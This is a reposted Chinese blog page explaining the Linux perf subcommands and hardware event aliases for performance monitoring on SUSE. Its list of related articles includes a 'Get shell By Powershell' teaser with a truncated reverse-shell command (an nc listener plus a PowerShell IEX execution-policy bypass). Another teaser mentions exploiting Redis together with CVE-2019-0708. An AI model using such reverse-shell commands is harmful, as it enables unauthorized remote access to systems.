使用 Perf 进行基于硬件的性能监视-intel PMU,针对Suse linux

【自取】最近整理的,有需要可以领取学习:

启动一个程序,并创建该程序退出后显示的统计概述。 perf stat 用于对事件计数。

启动一个程序,并创建包含性能计数器信息的报告。该报告以 perf.data 储存在当前目录中。 perf record 用于对事件采样。

显示先前使用 perf record 创建的报告。

显示报表文件和已执行代码的带注释版本。如果安装了调试符号,还会显示源代码。

[En]

Displays the report file and the annotated version of the executed code. If debug symbols are installed, the source code is also displayed.

列出 Perf 可以使用当前内核和您的 CPU 报告的事件类型。可按类别过滤事件类型 — 例如,要仅查看硬件事件,请使用 perf list hw

perf_event_open 的手册页提供了最重要事件的简短说明。例如,要查找 branch-misses 事件的说明,请搜索 BRANCH_MISSES(请注意拼写差异):

事件有时会变得模糊。请注意,小写的硬件事件名称不是原始硬件事件的名称,而是Perf创建的别名的名称。这些别名对应于每个支持的处理器上具有不同名称但定义相似的硬件事件。

[En]

Events can sometimes be blurred. Note that the lowercase hardware event name is not the name of the original hardware event, but the name of the alias created by Perf. These aliases correspond to hardware events with different names but similar definitions on each supported processor.

例如,在 Intel 处理器上, cpu-cycles 事件对应于硬件事件 UNHALTED_CORE_CYCLES。而在 AMD 处理器上,则对应于硬件事件 CPU_CLK_UNHALTED

Perf 还允许测量特定于硬件的原始事件。要查找这些事件的说明,请查看 CPU 供应商的《Architecture Software Developer’s Manual》(体系结构软件开发人员手册)。第 6.7 节 “更多信息”中提供了 AMD64/Intel 64 处理器的相关文档链接。

显示发生的系统活动。

[En]

Displays the system activity that occurred.

此命令的行为与 strace 类似。使用此子命令可以查看特定的线程或进程执行了哪些系统调用,以及该线程或进程收到了哪些信号。

Original: https://www.cnblogs.com/bonelee/p/16543186.html
Author: bonelee
Title: 使用 Perf 进行基于硬件的性能监视-intel PMU,针对Suse linux

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/7024/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • linux 子系统折腾记 (三)

    所以,英语真的是一件好事,很多资料只有英文,如果你不懂英语,甚至你不知道这些资料的存在,更不用说使用糟糕的翻译软件来翻译了。 [En] So, English is really …

    Linux 2022年8月20日
    0240
  • Redis未授权+CVE-2019-0708组合拳利用

    0x01 简介 本次测试为实战测试,测试环境是授权项目中的一部分,敏感信息内容已做打码处理,仅供讨论学习。请大家测试的时候,务必取得授权。 [En] This test is a …

    Linux 2022年9月14日
    0200
  • linux日志常用查询命令

    几个常用的查询日志的命令实时查询日志 tail -f 日志文件名 实时查询循环展示后100行 tail -fn 100 日志文件名 关键词搜索 cat 日志文件名 | grep -…

    Linux 2022年8月24日
    0230
  • Linux CPU使用查看工具

    htop yum install htop posted @2018-10-26 16:28 0xcafedaddy 阅读(299 ) 评论() 编辑 Original: http…

    Linux 2022年8月20日
    0270
  • acl/客户端缓存/多级缓存

    redis6安装注意点 我们课程里忽略了,就不去安装了,仅仅只提供安装文档,redis6的安装其实和redis5安装差不多,只是需要注意gcc的版本需要提高,不然编译会出错。参考慕…

    Linux 2022年9月14日
    0210
  • Redis 集群

    三高架构:并发,性能,可用 主从复制 主从复制:将 master 中的数据即时、有效的复制到 slave 中 特征:一个 master 可以拥有多个 slave,一个 slave …

    Linux 2022年9月14日
    0220
  • linux配置yum源的三种方法

    镜像下载、域名解析、时间同步请点击阿里云开源镜像站 linux配置yum源的三种方法: 1.配置网络yum源 2.通过上传镜像文件配置本地yum源 3.通过连接存储或本地镜像文件配…

    Linux 2022年9月10日
    0390
  • Golang 实现 Redis(9): 使用GeoHash 搜索附近的人

    本文是使用 golang 实现 redis 系列的第九篇,主要介绍如何使用 GeoHash 实现搜索附近的人。 搜索附近的POI是一个非常常见的功能,它的技术难点在于地理位置是二维…

    Linux 2022年9月14日
    0170
  • Golang 实现 Redis(8): TCC分布式事务

    本文是使用 golang 实现 redis 系列的第八篇, 将介绍如何在分布式缓存中使用 Try-Commit-Catch 方式来解决分布式一致性问题。 在上一篇文章中我们使用一致…

    Linux 2022年9月14日
    0220
  • linux下禁止root用户登录,修改远程ssh登录端口号

    禁止root用户登录 因为安全需要,我们在Linux下要把root用户禁止远程登录,然后用普通用户登录, 通过su – root切换到root 可以通过修改/etc/s…

    2022年8月20日
    0250
  • Linux、apache 无法使用PHP创建目录和文件

    因为项目的需要,这几天搭建了虚拟机,环境是centos7+lamp,可是搭建好网站后,即使把权限放开了(777),我试了改父文件夹权限;重新创建文件夹,改权限再移动文件;更换文件夹…

    Linux 2022年8月24日
    0250
  • CentOS——Redis消息订阅发布

    作用: 发布订阅类似于信息管道,用来进行系统之间消息解耦。类似于mq,rebbitmq,rocketmq,kafka,activemq 主要有消息发布者和消息订阅者。 比如:订单支…

    Linux 2022年9月14日
    0150
  • 国产化之Arm64 CPU+银河麒麟系统安装.NetCore

    背景 某个项目需要实现基础软件全部国产化,其中操作系统指定银河麒麟,银河麒麟就是一个Linux发行版,数据库使用达梦V8,这个数据库很多概念和Oracle相似,CPU平台的范围:龙…

    Linux 2022年9月10日
    0220
  • Gitlab汉化

    gitlab汉化配置 汉化地址 https://gitlab.com/xhang/gitlab,可以进行下载 解压缩下载的汉化包 tar -xf gitlab-v10.0.0-zh…

    Linux 2022年8月30日
    0280
  • ubuntu 安装NVIDIA显卡驱动

    到官网下载驱动程序安装编译过不了,在software/update中直接安装就行了。 Original: https://www.cnblogs.com/longchang/p/1…

    2022年8月26日
    0370
  • linux修改乱码的文件名

    当文件名为乱码时,无法通过数据名称来进行操作,这时,可以通过文件的i节点号来进行相关操作 1、首先,用”ls -i”查看对应文件的id 2、重命名 &#82…

    2022年8月11日
    0410
  • Linux内核机制—irq_work

    irq_work 主要是提供一个在中断上下文执行回调函数的框架。主要逻辑是先通过enqueue work(NMI save的),然后触发一个IPI中断,然后在IPI中断中执行enq…

    Linux 2022年8月26日
    0240
  • docker安装redis

    首先考虑需要安装的redis版本,我这里是安装的redis 6.0.16,如果宿主机没有,那么就docker pull redis:6.0.16 一、指定redis配置文件 我的宿…

    Linux 2022年9月14日
    0340
  • [编译] 8、在Linux下搭建 stm8 单片机的开发烧写环境(makefile版)

    一、SDCC(Small Device C Compiler)编译环境搭建 1.1、下载 1.2、编译 1.3、测试 二、Hex2Bin+命令行烧写工具配置使用 2.1、下载工具安…

    Linux 2022年8月24日
    0370
  • linux下提取日志文件中的某一行JSON数据中的指定Key

    背景 今天在定位问题时,通过日志打印出来调用第三方接口的返回结果对象的值,但因为这个返回信息太多,导致日志打印时对应的这行日志翻了四五屏才结束,这种情况下不好复制粘贴出来去具体分析…

    Linux 2022年8月13日
    0290
  • Gitblit创建提交代码

    一、可以先用管理员创建(版本库),也可以给创建用户配置上传权限 二、使用管理员分配的账号密码登录 在执行 git commit操作时可能 要求配置用户名和邮箱: 配置好了以后再执行…

    Linux 2022年8月30日
    0470
  • linux下同步时钟、时区

    参考文章 Centos 7.X timedatectl set-timezone Asia/Shanghai * * * * * ntpdate -u cn.pool.ntp.or…

    Linux 2022年8月20日
    0310
  • HCNP Routing&Switching之组播技术-组播路由协议PIM

    前文我们了解了组播技术中组播分发树相关话题,回顾请参考https://www.cnblogs.com/qiuhom-1874/p/16019334.html;今天我们来聊一聊组播路…

    2022年8月26日
    0370
  • Golang 实现 Redis(7): 集群与一致性 Hash

    本文是使用 golang 实现 redis 系列的第七篇, 将介绍如何将单点的缓存服务器扩展为分布式缓存。godis 集群的源码在Github:Godis/cluster 单台服务…

    Linux 2022年9月14日
    0190
  • Get shell By Powershell

    Invoke-PowerShellTcp.ps1 监听主机:nc -nv -l -p 9999 powershell -nop -exec bypass -c "IEX …

    Linux 2022年9月14日
    0230
  • Linux 下安装Samba 文件共享服务器

    samba文件共享服务可以让linux和linux系统、linux和windows系统之间共享文件 服务查询默认情况下,Linux系统在默认安装中已经安装了Samba服务包的一部分…

    Linux 2022年8月20日
    0340

发表回复

登录后才能评论
免费咨询
免费咨询
扫码关注
扫码关注
联系站长

站长Johngo!

大数据和算法重度研究者!

持续产出大数据、算法、LeetCode干货,以及业界好资源!

2022012703491714

微信来撩,免费咨询:xiaozhu_tec

分享本页
返回顶部